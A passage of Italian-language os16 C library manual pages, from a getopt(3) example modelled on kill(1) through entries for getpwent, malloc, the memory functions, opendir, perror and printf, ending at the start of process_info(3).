Per comprendere l'uso della funzione ***getopt()*** si propone una versione ultraridotta di *kill(1)* [97.10], dove si ammette solo l'invio dei segnali SIGTERM e SIGQUIT.

```
#include <sys/os16.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <limits.h>
#include <libgen.h>
//----------------------------------------------------------------------
int
main (int argc, char *argv[], char *envp[])
{
    int           signal = SIGTERM;
    int           pid;
    int           a;              // Index inside arguments.
    int           opt;
    extern char *optarg;
    extern int    optopt;
    //
    while ((opt = getopt (argc, argv, ":ls:")) != -1)
      {
```

```
        switch (opt)
          {
            case 'l':
                printf ("TERM ");
                printf ("KILL ");
                printf ("\n");
                return (0);
                break;
            case 's':
                if (strcmp (optarg, "KILL") == 0)
                  {
                    signal = SIGKILL;
                  }
                else if (strcmp (optarg, "TERM") == 0)
                  {
                    signal = SIGTERM;
                  }
                break;
            case '?':
                fprintf (stderr, "Unknown option -%c.\n", optopt);
                return (1);
                break;
            case ':':
                fprintf (stderr, "Missing argument for option "
                                 "-%c\n", optopt);
                return (1);
                break;
            default:
                fprintf (stderr, "Getopt problem: unknown option "
                                 "%c\n", opt);
                return (1);
          }
      }
    //
    // Scan other command line arguments.
    //
    for (a = optind; a < argc; a++)
      {
        pid = atoi (argv[a]);
        if (pid > 0)
          {
            if (kill (pid, signal) < 0)
              {
                perror (argv[a]);
              }
          }
      }
    return (0);
}
```

Come si vede nell'esempio, la funzione ***getopt()*** viene chiamata sempre nello stesso modo, all'interno di un ciclo iterativo.

Alla prima chiamata della funzione, questa esamina il primo argomento della riga di comando, verificando se si tratta di un'opzione o meno. Se si tratta di un'opzione, benché possa essere errata per qualche ragione, restituisce un carattere (convertito a intero), il quale può corrispondere alla lettera dell'opzione se questa è valida, oppure a un simbolo differente in caso di problemi. Nelle chiamate successive, ***getopt()*** considera di volta in volta gli argomenti successivi della riga di comando, fino a quando si accorge che non ci sono più opzioni e restituisce semplicemente il valore -1.

Durante la scansione delle opzioni, se ***getopt()*** restituisce il carattere '**`?`**', significa che ha incontrato un'opzione errata: potrebbe trattarsi di un'opzione non prevista, oppure di un'opzione che attende un argomento che non c'è. Tuttavia, la stringa ***optstring*** potrebbe iniziare opportunamente con il simbolo di due punti, così come si vede nell'esempio. In tal caso, se ***getopt()*** incontra un'opzione errata in quanto mancante di un'opzione necessaria, invece di restituire '**`?`**', restituisce '**`:`**', così da poter distinguere il tipo di errore.

È il caso di osservare che le chiamate successive di ***getopt()*** fanno progredire la scansione della riga di comando e generalmente non c'è bisogno di tornare indietro per ripeterla. Tuttavia, nel caso lo si volesse, basterebbe reinizializzare la variabile ***optind*** a uno (il primo argomento della riga di comando).

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/getopt.c`' [106.17.20]

99.53 os16: getpwent(3)

NOME

'**`getpwent`**', '**`setpwent`**', '**`endpwent`**' - accesso alle voci del file '`/etc/passwd`'

SINTASSI

```
#include <sys/types.h>
#include <pwd.h>
struct passwd *getpwent (void);
void           setpwent (void);
void           endpwent (void);
```

DESCRIZIONE

La funzione ***getpwent()*** restituisce il puntatore a una variabile strutturata, di tipo '**`struct passwd`**', come definito nel file '`pwd.h`', in cui si possono trovare le stesse informazioni contenute nelle voci (righe) del file '`/etc/passwd`', separate in campi. La prima volta, nella variabile struttura a cui punta la funzione si ottiene il contenuto della prima voce, ovvero del primo utente dell'elenco; nelle chiamate successive si ottengono le altre.

Si utilizza la funzione ***setpwent()*** per ripartire dalla prima voce del file '`/etc/passwd`'; si utilizza invece la funzione ***endpwent()*** per chiudere il file '`/etc/passwd`' quando non serve più.

Il tipo '**`struct passwd`**' è definito nel file '`pwd.h`' nel modo seguente:

```
struct passwd {
    char  *pw_name;
    char  *pw_passwd;
    uid_t  pw_uid;
    gid_t  pw_gid;
    char  *pw_gecos;
    char  *pw_dir;
    char  *pw_shell;
};
```

La sequenza dei campi della struttura corrisponde a quella contenuta nel file '`/etc/passwd`'.

VALORE RESTITUITO

La funzione ***getpwent()*** restituisce il puntatore a una variabile strutturata di tipo '**`struct passwd`**', se l'operazione ha avuto successo. Se la scansione del file '`/etc/passwd`' ha raggiunto il termine, oppure se si è verificato un errore, restituisce invece il valore '**`NULL`**'. Per poter distinguere tra la conclusione del file o il verificarsi di un errore, prima della chiamata della funzione occorre azzerare il valore della variabile ***errno***, verificando successivamente se ha acquisito un valore differente.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il file da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Avendo richiesto un accesso in scrittura, si ottiene che il file system che lo contiene consente soltanto un accesso in lettura.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/pwd.h`' [106.7]

'`lib/pwd/pwent.c`' [106.7.1]

VEDERE ANCHE

getpwnam(3) [99.54], *getpwuid(3)* [99.54], *passwd(5)* [101.3].

99.54 os16: getpwnam(3)

NOME

'**getpwnam**', '**getpwuid**' - selezione di una voce dal file '/etc/passwd'

SINTASSI

```
#include <sys/types.h>
#include <pwd.h>
struct passwd *getpwnam (const char *name);
struct passwd *getpwuid (uid_t uid);
```

DESCRIZIONE

La funzione ***getpwnam()*** restituisce il puntatore a una variabile strutturata, di tipo '**struct passwd**', come definito nel file 'pwd.h', contenente le informazioni sull'utenza specificata per nome, dal '/etc/passwd'. La funzione ***getpwuid()*** si comporta in modo analogo, individuando però l'utenza da selezionare in base al numero UID.

Il tipo '**struct passwd**' è definito nel file 'pwd.h' nel modo seguente:

```
struct passwd {
    char   *pw_name;
    char   *pw_passwd;
    uid_t   pw_uid;
    gid_t   pw_gid;
    char   *pw_gecos;
    char   *pw_dir;
    char   *pw_shell;
};
```

La sequenza dei campi della struttura corrisponde a quella contenuta nel file '/etc/passwd'.

VALORE RESTITUITO

Le funzioni ***getpwnam()*** e ***getpwuid()*** restituiscono il puntatore a una variabile strutturata di tipo '**struct passwd**', se l'operazione ha avuto successo. Se il nome o il numero dell'utente non si trovano nel file '/etc/passwd', oppure se si presenta un errore, il valore restituito è '**NULL**'. Per poter distinguere tra una voce non trovata o il verificarsi di un errore di accesso al file '/etc/passwd', prima della chiamata della funzione occorre azzerare il valore della variabile ***errno***, verificando successivamente se ha acquisito un valore differente.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il file da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Avendo richiesto un accesso in scrittura, si ottiene che il file system che lo contiene consente soltanto un accesso in lettura.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/pwd.h`' [106.7]

'`lib/pwd/pwent.c`' [106.7.1]

VEDERE ANCHE

getpwent(3) [99.53], *setpwent(3)* [99.53], *endpwent(3)* [99.53], *passwd(5)* [101.3].

99.55 os16: getpwuid(3)

Vedere *getpwnam(3)* [99.54].

99.56 os16: gets(3)

Vedere *fgets(3)* [99.33].

99.57 os16: heap(3)

NOME

'**`heap_clear`**', '**`heap_min`**' - verifica dello spazio disponibile per la pila dei dati

SINTASSI

```
#include <sys/os16.h>
void heap_clear   (void);
int  heap_min     (void);
```

DESCRIZIONE

Le funzioni ***heap_clear()*** e ***heap_min()*** servono per poter conoscere, in un certo momento, lo spazio di memoria disponibile per la pila dei dati, durante il funzionamento del processo elaborativo.

La funzione ***heap_clear()*** sovrascrive la memoria tra la fine della memoria utilizzata per le variabili non inizializzate (BSS) e la parte superiore della pila dei dati. In altri termini, sovrascrive la parte di memoria disponibile per la pila dei dati, che in quel momento non è utilizzata. Vengono scritte sequenze di bit a uno.

La funzione ***heap_min()***, da usare successivamente a ***heap_clear()***, anche più avanti nell'esecuzione del processo, scandisce questa memoria e verifica, empiricamente, il livello minimo di memoria rimasto libero per la pila, in base all'utilizzo che se ne è fatto fino a quel punto. In pratica, serve a verificare se il programma da cui ha origine il processo ha uno spazio sufficiente per la pila dei dati o se ci sia il rischio di sovrapposizione con le altre aree dei dati.

VALORE RESTITUITO

La funzione ***heap_min()*** restituisce la quantità di byte di memoria continua, presumibilmente non ancora utilizzata dalla pila dei dati, che separa la pila stessa dalle altre aree di dati.

FILE SORGENTI

'`lib/sys/os16.h`' [106.12]

'`lib/sys/os16/heap_clear.c`' [106.12.9]

'`lib/sys/os16/heap_min.c`' [106.12.10]

VEDERE ANCHE

cs(3) [99.12], *ds(3)* [99.12], *es(3)* [99.12], *ss(3)* [99.12], *bp(3)* [99.12], *sp(3)* [99.12].

99.58 os16: heap_clear(3)

Vedere *heap(3)* [99.57].

99.59 os16: heap_min(3)

Vedere *heap(3)* [99.57].

99.60 os16: input_line(3)

NOME

'**`input_line`**' - riga di comando

SINTASSI

```
#include <sys/os16.h>
void input_line (char *line, char *prompt, size_t size, int type);
```

DESCRIZIONE

La funzione ***input_line()*** consente di inserire un'informazione da tastiera, interpretando in modo adeguato i codici usati per cancellare. Si tratta dell'unico mezzo corretto di inserimento di un dato da tastiera, per os16, il quale non dispone di una gestione completa dei terminali.

Il parametro ***line*** è il puntatore a un'area di memoria, da modificare con l'inserimento che si intende fare; questa area di memoria deve essere in grado di contenere tanti byte quanto indicato con il parametro ***size***. Il parametro ***prompt*** indica una stringa da usare come invito, a sinistra della riga da inserire. Il parametro ***type*** serve a specificare il tipo di visualizzazione sullo schermo di ciò che si inserisce. Si utilizzano della macro-variabili dichiarate nel file '`sys/os16.h`':

Macro-variabile	Descrizione
`INPUT_LINE_ECHO`	Produce un comportamento «normale», per cui ciò che viene digitato è rappresentato conformemente sullo schermo del terminale.
`INPUT_LINE_HIDDEN`	Fa sì che quanto digitato non appaia: si usa per esempio per l'inserimento di una parola d'ordine.
`INPUT_LINE_STARS`	Fa sì che per ogni carattere digitato appaia sullo schermo un asterisco: si usa per esempio per l'inserimento di una parola d'ordine, quando si vuole agevolare l'utente.

La funzione conclude il suo funzionamento quando si preme [*Invio*].

VALORE RESTITUITO

La funzione non restituisce alcunché, ma ciò che viene digitato è disponibile nella memoria tampone rappresentata dal puntatore ***line***, da intendere come stringa terminata correttamente.

FILE SORGENTI

'`lib/sys/os16.h`' [106.12]

'`lib/sys/os16/input_line.c`' [106.12.11]

VEDERE ANCHE

shell(1) [97.19].

login(1) [97.12].

99.61 os16: isatty(3)

NOME

'**`isatty`**' - verifica che un certo descrittore di file si riferisca a un terminale

SINTASSI

```
#include <unistd.h>
int isatty (int fdn);
```

DESCRIZIONE

La funzione ***isatty()*** verifica se il descrittore di file specificato con il parametro ***fdn*** si riferisce a un dispositivo di terminale.

VALORE RESTITUITO

Valore	Significato
1	Si tratta effettivamente del file di dispositivo di un terminale.
0	Il descrittore di file non riguarda un terminale, oppure si è verificato un errore; in ogni caso la variabile ***errno*** viene aggiornata.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il descrittore di file non si riferisce a un terminale.
`EBADF`	Il descrittore di file indicato non è valido.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/isatty.c`' [106.17.25]

VEDERE ANCHE

stat(2) [98.36], *ttyname(3)* [99.124].

99.62 os16: labs(3)

Vedere *abs(3)* [99.3].

99.63 os16: ldiv(3)

Vedere *div(3)* [99.15].

99.64 os16: major(3)

Vedere *makedev(3)* [99.65].

99.65 os16: makedev(3)

NOME

'**`makedev`**', '**`major`**', '**`minor`**' - gestione dei numeri di dispositivo

SINTASSI

```
#include <sys/types.h>
dev_t makedev (int major, int minor);
int   major   (dev_t device);
int   minor   (dev_t device);
```

DESCRIZIONE

La funzione ***makedev()*** restituisce il numero di dispositivo complessivo, partendo dal numero primario (***major***) e dal numero secondario (***minor***), presi separatamente.

Le funzioni ***major()*** e ***minor()***, rispettivamente, restituiscono il numero primario o il numero secondario, partendo da un numero di dispositivo completo.

Si tratta di funzioni non previste dallo standard, ma ugualmente diffuse.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/sys/types/makedev.c`' [106.14.2]

'`lib/sys/types/major.c`' [106.14.1]

'`lib/sys/types/minor.c`' [106.14.3]

99.66 os16: malloc(3)

NOME

'**`malloc`**', '**`free`**', '**`realloc`**' - allocazione e rilascio dinamico di memoria

SINTASSI

```
#include <stdlib.h>
void *malloc (size_t size);
void free (void *address);
void *realloc (void *address, size_t size);
```

DESCRIZIONE

Le funzioni '**`...alloc()`**' e ***free()*** consentono di allocare, riallocare e liberare delle aree di memoria, in modo dinamico.

La funzione ***malloc()*** (*memory allocation*) si usa per richiedere l'allocazione di una dimensione di almeno ***size*** byte di memoria. Se l'allocazione avviene con successo, la funzione restituisce il puntatore generico di tale area allocata.

Quando un'area di memoria allocata precedentemente non serve più, va liberata espressamente con l'ausilio della funzione ***free()***, la quale richiede come argomento il puntatore generico all'inizio di tale area. Naturalmente, si può liberare la memoria una volta sola e un'area di memoria liberata non può più essere raggiunta.

Quando un'area di memoria già allocata richiede una modifica nella sua estensione, si può usare la funzione ***realloc()***, la quale necessita di conoscere il puntatore precedente e la nuova estensione. La funzione restituisce un nuovo puntatore, il quale potrebbe eventualmente, ma non necessariamente, coincidere con quello dell'area originale.

Se le funzioni ***malloc()*** e ***realloc()*** falliscono nel loro intento, restituiscono un puntatore nullo.

VALORE RESTITUITO

Le funzioni ***malloc()*** e ***realloc()*** restituiscono il puntatore generico all'area di memoria allocata; se falliscono, restituiscono invece un puntatore nullo.

ERRORI

Valore di *errno*	Significato
ENOMEM	Memoria insufficiente.

DIFETTI

L'allocazione dinamica di memoria, della libreria di os16, utilizza un metodo rudimentale, basato su un array statico che viene allocato completamente se nella compilazione si utilizzano queste funzioni. Questo array, denominato ***_alloc_memory[]***, viene utilizzato come area per l'allocazione della memoria, con l'ausilio di altre due variabili allo scopo di tenere traccia della mappa di allocazione. In pratica, la memoria che si può gestire in questo modo è molto poca, ma soprattutto, i processi che ne fanno uso, in realtà, la allocano subito tutta.

FILE SORGENTI

'`lib/limits.h`' [106.1.8]

'`lib/stdlib.h`' [106.10]

'`lib/stdlib/alloc.c`' [106.10.4]

99.67 os16: memccpy(3)

NOME

'**`memccpy`**' - copia di un'area di memoria

SINTASSI

```
#include <string.h>
void *memccpy (void *restrict dst, const void *restrict org, int c,
               size_t n);
```

DESCRIZIONE

La funzione ***memccpy()*** copia al massimo ***n*** byte a partire dall'area di memoria a cui punta ***org***, verso l'area che inizia da ***dst***, fermandosi se si incontra il carattere ***c***, il quale viene copiato regolarmente, fermo restando il limite massimo di ***n*** byte.

Le due aree di memoria, origine e destinazione, non devono sovrapporsi.

VALORE RESTITUITO

Nel caso in cui la copia sia avvenuta con successo, fino a incontrare il carattere ***c***, la funzione restituisce il puntatore al carattere successivo a ***c***, nell'area di memoria di destinazione. Se invece tale carattere non viene trovato nei primi ***n*** byte, restituisce il puntatore nullo '**`NULL`**'. La variabile ***errno*** non viene modificata.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/memccpy.c`' [106.11.1]

VEDERE ANCHE

memcpy(3) [99.70], *memmove(3)* [99.71], *strcpy(3)* [99.108], *strncpy(3)* [99.108].

99.68 os16: memchr(3)

NOME

'**memchr**' - scansione della memoria alla ricerca di un carattere

SINTASSI

```
#include <string.h>
void *memchr (const void *memory, int c, size_t n);
```

DESCRIZIONE

La funzione ***memchr()*** scandisce l'area di memoria a cui punta ***memory***, fino a un massimo di ***n*** byte, alla ricerca del carattere ***c***.

VALORE RESTITUITO

Se la funzione trova il carattere, restituisce il puntatore al carattere trovato, altrimenti restituisce il puntatore nullo '**NULL**'.

FILE SORGENTI

'lib/string.h' [106.11]

'lib/string/memchr.c' [106.11.2]

VEDERE ANCHE

strchr(3) [99.105], *strrchr(3)* [99.105], *strpbrk(3)* [99.116].

99.69 os16: memcmp(3)

NOME

'**memcmp**' - confronto di due aree di memoria

SINTASSI

```
#include <string.h>
int memcmp (const void *memory1, const void *memory2, size_t n);
```

DESCRIZIONE

La funzione ***memcmp()*** confronta i primi ***n*** byte di memoria delle aree che partono, rispettivamente, da ***memory1*** e da ***memory2***.

VALORE RESTITUITO

Valore	Esito del confronto.
−1	***memory1*** < ***memory2***
0	***memory1*** == ***memory2***
+1	***memory1*** > ***memory2***

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/memcmp.c`' [106.11.3]

VEDERE ANCHE

strcmp(3) [99.106], *strncmp(3)* [99.106].

99.70 os16: memcpy(3)

NOME

'**`memcpy`**' - copia di un'area di memoria

SINTASSI

```
#include <string.h>
void *memcpy (void *restrict dst, const void *restrict org,
              size_t n);
```

DESCRIZIONE

La funzione ***memcpy()*** copia al massimo ***n*** byte a partire dall'area di memoria a cui punta ***org***, verso l'area che inizia da ***dst***.

Le due aree di memoria, origine e destinazione, non devono sovrapporsi.

VALORE RESTITUITO

La funzione restituisce ***dst***.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/memcpy.c`' [106.11.4]

VEDERE ANCHE

memccpy(3) [99.67], *memmove(3)* [99.71], *strcpy(3)* [99.108], *strncpy(3)* [99.108].

99.71 os16: memmove(3)

NOME

'**memmove**' - copia di un'area di memoria

SINTASSI

```
#include <string.h>
void *memmove (void *dst, const void *org, size_t n);
```

DESCRIZIONE

La funzione ***memmove()*** copia al massimo ***n*** byte a partire dall'area di memoria a cui punta ***org***, verso l'area che inizia da ***dst***. A differenza di quanto fa ***memcpy()***, la funzione ***memmove()*** esegue la copia correttamente anche se le due aree di memoria sono sovrapposte.

VALORE RESTITUITO

La funzione restituisce ***dst***.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/memmove.c`' [106.11.5]

VEDERE ANCHE

memccpy(3) [99.67], *memcpy(3)* [99.70], *strcpy(3)* [99.108], *strncpy(3)* [99.108].

99.72 os16: memset(3)

NOME

'**memset**' - scrittura della memoria con un byte sempre uguale

SINTASSI

```
#include <string.h>
void *memset (void *memory, int c, size_t n);
```

DESCRIZIONE

La funzione ***memset()*** scrive ***n*** byte, contenenti il valore di ***c***, ridotto a un carattere, a partire dal ciò a cui punta ***memory***.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/memset.c`' [106.11.6]

VEDERE ANCHE

memcpy(3) [99.70].

99.73 os16: minor(3)

Vedere *makedev(3)* [99.65].

99.74 os16: namep(3)

NOME

'**namep**' - ricerca del percorso di un programma utilizzando la variabile di ambiente ***PATH***

SINTASSI

```
#include <sys/os16.h>
int namep (const char *name, char *path, size_t size);
```

DESCRIZIONE

La funzione ***namep()*** trova il percorso di un programma, tenendo conto delle informazioni contenute nella variabile di ambiente ***PATH***.

Il parametro ***name*** rappresenta una stringa con il nome del comando da cercare nel file system; il parametro ***path*** deve essere il puntatore di un'area di memoria, da sovrascrivere con il percorso assoluto del programma da avviare, una volta trovato, con l'accortezza di far sì che risulti una stringa terminata correttamente; il parametro ***size*** specifica la dimensione massima che può avere la stringa ***path***.

Questa funzione viene utilizzata in particolare da ***execvp()***.

VALORE RESTITUITO

Valore	Significato
0	Operazione riuscita.
−1	Operazione fallita. Va verificato l'errore indicato dalla variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Uno degli argomenti non è valido.
`ENOENT`	La variabile di ambiente ***PATH*** non è dichiarata, oppure il comando richiesto non si trova nei percorsi previsti.
`ENAMETOOLONG`	Il percorso per l'avvio del programma è troppo lungo.

FILE SORGENTI

'`lib/sys/os16.h`' [106.12]

'`lib/sys/os16/namep.c`' [106.12.13]

VEDERE ANCHE

shell(1) [97.19], *execvp(3)* [99.20], *execlp(3)* [99.20].

99.75 os16: offsetof(3)

NOME

'**`offsetof`**' - posizione di un membro di una struttura, dall'inizio della stessa

SINTASSI

```
#include <stddef.h>
size_t offsetof (type, member);
```

DESCRIZIONE

La macro-istruzione ***offsetof()*** consente di determinare la collocazione relativa di un membro di una variabile strutturata, restituendo la quantità di byte che la struttura occupa prima dell'inizio del membro richiesto. Per ottenere questo risultato, il primo argomento deve essere il nome del tipo del membro cercato, mentre il secondo argomento deve essere il nome del membro stesso.

VALORE RESTITUITO

La macro-istruzione restituisce lo scostamento del membro specificato, rispetto all'inizio della struttura a cui appartiene, espresso in byte.

FILE SORGENTI

'`lib/stddef.h`' [106.1.14]

99.76 os16: opendir(3)

NOME

'**`opendir`**' - apertura di una directory

SINTASSI

```
#include <sys/types.h>
#include <dirent.h>
DIR *opendir (const char *name);
```

DESCRIZIONE

La funzione ***opendir()*** apre la directory rappresentata da ***name***, posizionando l'indice interno per le operazioni di accesso alla prima voce della directory stessa.

VALORE RESTITUITO

La funzione restituisce il puntatore al flusso aperto; in caso di errore, restituisce '**`NULL`**' e aggiorna la variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Il valore di ***name*** non è valido.
`EMFILE`	Troppi file aperti dal processo.
`ENFILE`	Troppi file aperti complessivamente nel sistema.
`ENOTDIR`	Il percorso indicato in ***name*** non corrisponde a una directory.

NOTE

La funzione ***opendir()*** attiva il bit *close-on-exec*, rappresentato dalla macro-variabile ***FD_CLOEXEC***, per il descrittore del file che rappresenta la directory. Ciò serve a garantire che la directory venga chiusa quando si utilizzano le funzioni '**`exec...()`**'.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/dirent.h`' [106.2]

'`lib/dirent/DIR.c`' [106.2.1]

'`lib/dirent/opendir.c`' [106.2.3]

VEDERE ANCHE

open(2) [98.28], *closedir(3)* [99.10], *readdir(3)* [99.86], *rewinddir(3)* [99.89].

99.77 os16: perror(3)

NOME

'**`perror`**' - emissione di un messaggio di errore di sistema

SINTASSI

```
#include <stdio.h>
void perror (const char *string);
```

DESCRIZIONE

La funzione ***perror()*** legge il valore della variabile ***errno*** e, se questo è diverso da zero, emette attraverso lo standard output la stringa fornita come argomento, ammesso che non si tratti del puntatore nullo, quindi continua con l'emissione della descrizione dell'errore.

La funzione ***perror()*** di os16, nell'emettere il testo dell'errore, mostra anche il nome del file sorgente e il numero della riga in cui si è verificato. Ma questi dati sono validi soltanto se l'annotazione dell'errore è avvenuta, a suo tempo, con l'ausilio della funzione *errset(3)* [99.18], la quale non è prevista dagli standard.

FILE SORGENTI

'`lib/errno.h`' [106.3]

'`lib/stdio.h`' [106.9]

'`lib/stdio/perror.c`' [106.9.26]

VEDERE ANCHE

errno(3) [99.18], *strerror(3)* [99.111].

99.78 os16: printf(3)

NOME

'**`printf`**', '**`fprintf`**', '**`sprintf`**', '**`snprintf`**' - composizione dei dati per la visualizzazione

SINTASSI

```
#include <stdio.h>
int printf   (char *restrict format, ...);
int fprintf  (FILE *fp, char *restrict format, ...);
int sprintf  (char *restrict string,
              const char *restrict format, ...);
int snprintf (char *restrict string, size_t size,
              const char *restrict format, ...);
```

DESCRIZIONE

Le funzioni del gruppo '...**`printf()`**' hanno in comune lo scopo di comporre dei dati in forma di stringa, generalmente per la visualizzazione, o comunque per la fruizione a livello umano.

I dati in ingresso possono essere vari e si collocano come argomenti finali, di tipo e quantità non noti nel prototipo delle funzioni. Per quantificare e qualificare questi argomenti aggiuntivi, la stringa a cui punta il parametro ***format***, deve contenere degli ***specificatori di conversione***, oltre eventualmente ad altri caratteri. Pertanto, queste funzioni, prendono la stringa a cui punta ***format***, la interpretano e determinano quali argomenti variabili sono presenti, quindi producono un'altra stringa, composta dalla stringa precedente, sostituendo gli specificatori di conversione con i dati a cui questi si riferiscono, secondo una forma di conversione definita dagli specificatori stessi. Si osservi l'esempio seguente:

```
printf ("Valore: %x %i %o\n", 123, 124, 125);
```

In questo modo si ottiene la visualizzazione, attraverso lo standard output, della stringa '**`Valore: 7b 124 175`**'. Infatti: '**`%x`**' è uno specificatore di conversione che richiede di interpretare il proprio parametro (in questo caso il primo) come intero normale e di rappresentarlo in esadecimale; '**`%i`**' legge un numero intero normale e lo rappresenta nella forma decimale consueta; '**`%o`**' legge un intero e lo mostra in ottale.

La funzione ***printf()*** emette il risultato della composizione attraverso lo standard output; la funzione ***fprintf()*** lo fa attraverso il flusso di file ***fp***; le funzioni ***sprintf()*** e ***snprintf()***

si limitano a scrivere il risultato a partire da ciò a cui punta ***string***, con la particolarità di ***snprintf()*** che si dà comunque un limite da non superare, per evitare che la scrittura vada a sovrascrivere altri dati in memoria.

Gli specificatori di conversione devono rispettare la sintassi seguente per la libreria di os16:

```
%[simbolo][n_ampiezza][.n_precisione][hh|h|l|j|z|t]tipo
```

La prima cosa da individuare in uno specificatore di conversione è il tipo di argomento che viene interpretato e, di conseguenza, il genere di rappresentazione che se ne vuole produrre. Il tipo viene espresso da una lettera alfabetica, alla fine dello specificatore di conversione.

Simbolo	Tipo di argomento	Conversione applicata
`%...d` `%...i`	`int`	Numero intero con segno da rappresentare in base dieci.
`%...u`	`unsigned int`	Numero intero senza segno da rappresentare in base dieci.
`%...o`	`unsigned int`	Numero intero senza segno da rappresentare in ottale (senza lo zero iniziale che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%...x` `%...X`	`unsigned int`	Numero intero senza segno da rappresentare in esadecimale (senza il prefisso '**`0x`**' o '**`0X`**' che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%...c`	`int`	Un carattere singolo, dopo la conversione in '**`unsigned char`**'.
`%...s`	`char *`	Una stringa.
`%%`		Questo specificatore si limita a produrre un carattere di percentuale ('**`%`**') che altrimenti non sarebbe rappresentabile.

Nel modello sintattico che descrive lo specificatore di conversione, si vede che subito dopo il segno di percentuale può apparire un simbolo (*flag*).

Simbolo	Corrispondenza
`%+...` `%+0`***ampiezza***...	Il segno «+» fa sì che i numeri con segno lo mostrino anche se è positivo. Può combinarsi con lo zero.
`%0`***ampiezza***... `%+0`***ampiezza***...	Lo zero fa sì che siano inseriti degli zeri a sinistra per allineare a destra il valore, nell'ambito dell'ampiezza specificata. Può combinarsi con il segno «+».
`%`***ampiezza***... `% `***ampiezza***...	In mancanza di uno zero iniziale, in presenza dell'indicazione dell'ampiezza, il valore viene allineato a destra usando degli spazi. È possibile esprimere esplicitamente l'intenzione di usare gli spazi mettendo proprio uno spazio, ma in generale non è richiesto. Se si mette lo spazio letteralmente, questo non è poi compatibile con lo zero, mentre le combinazioni con gli altri simboli sono ammissibili.
`%-`***ampiezza***... `%-+`***ampiezza***...	Il segno meno, usato quando la conversione prevede l'uso di una quantità fissa di caratteri con un valore che appare di norma allineato a destra, fa sì che il risultato sia allineato a sinistra. Il segno meno si può combinare il segno «+» e il cancelletto.

Subito prima della lettera che definisce il tipo di conversione, possono apparire una o due lettere che modificano la lunghezza del valore da interpretare (per lunghezza si intende qui la quantità di byte usati per rappresentarlo). Per esempio, '**`%...li`**' indica che la conversione riguarda un valore di tipo '**`long int`**'. Tra questi specificatori della lunghezza del dato in ingresso ce ne sono alcuni che indicano un rango inferiore a quello di '**`int`**', come per esempio '**`%...hhd`**' che si riferisce a un numero intero della dimensione di un '**`signed char`**'; in questi casi occorre comunque considerare che nella trasmissione degli argomenti alle funzioni interviene sempre la promozione a intero, pertanto viene letto il dato della dimensione specificata, ma viene «consumato» il risultato ottenuto dalla promozione.

Simbolo	Tipo	Simbolo	Tipo

`%...hhd`
`%...hhi`
	`signed char`	`%...hhu`
		`%...hho`
		`%...hhx` | `%...hhX`
			`unsigned char`

`%...hd`
`%...hi`
	`short int`	`%...hu`
		`%...ho`
		`%...hx` | `%...hX`
			`unsigned short int`

`%...ld`
`%...li`
	`long int`	`%...lu`
		`%...lo`
		`%...lx` | `%...lX`
			`unsigned long int`

Simbolo	Tipo	Simbolo	Tipo

`%…jd`
`%…ji`
	`intmax_t`	`%…ju`
		`%…jo`
		`%…jx` | `%…jX`
			`uintmax_t`

`%…zd`
`%…zi`
	`size_t`	`%…zu`
		`%…zo`
		`%…zx` | `%…zX`
			`size_t`

`%…td`
`%…ti`
	`ptrdiff_t`	`%…tu`
		`%…to`
		`%…tx` | `%…tX`
			`ptrdiff_t`

Tra il simbolo (*flag*) e il modificatore di lunghezza può apparire un numero che rappresenta l'ampiezza da usare nella trasformazione ed eventualmente la precisione: '***ampiezza*** **[** **.*precisione*** **]**'. Per os16, la precisione si applica esclusivamente alle stringhe, la quale specifica la quantità di caratteri da considerare, troncando il resto.

VALORE RESTITUITO

Le funzioni restituiscono la quantità di caratteri utilizzati nella composizione della nuova stringa, escluso il carattere nullo di terminazione.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/FILE.c`' [106.9.1]

'`lib/stdio/fprintf.c`' [106.9.12]

'`lib/stdio/printf.c`' [106.9.27]

'`lib/stdio/sprintf.c`' [106.9.34]

'`lib/stdio/snprintf.c`' [106.9.33]

VEDERE ANCHE

vfprintf(3) [99.128], *vprintf(3)* [99.128], *vsprintf(3)* [99.128], *vsnprintf(3)* [99.128], *scanf(3)* [99.90].

99.79 os16: process_info(3)

NOME

'**`process_info`**' - funzione diagnostica

SINTASSI

```
#include <sys/os16.h>
void process_info (void);
```

DESCRIZIONE

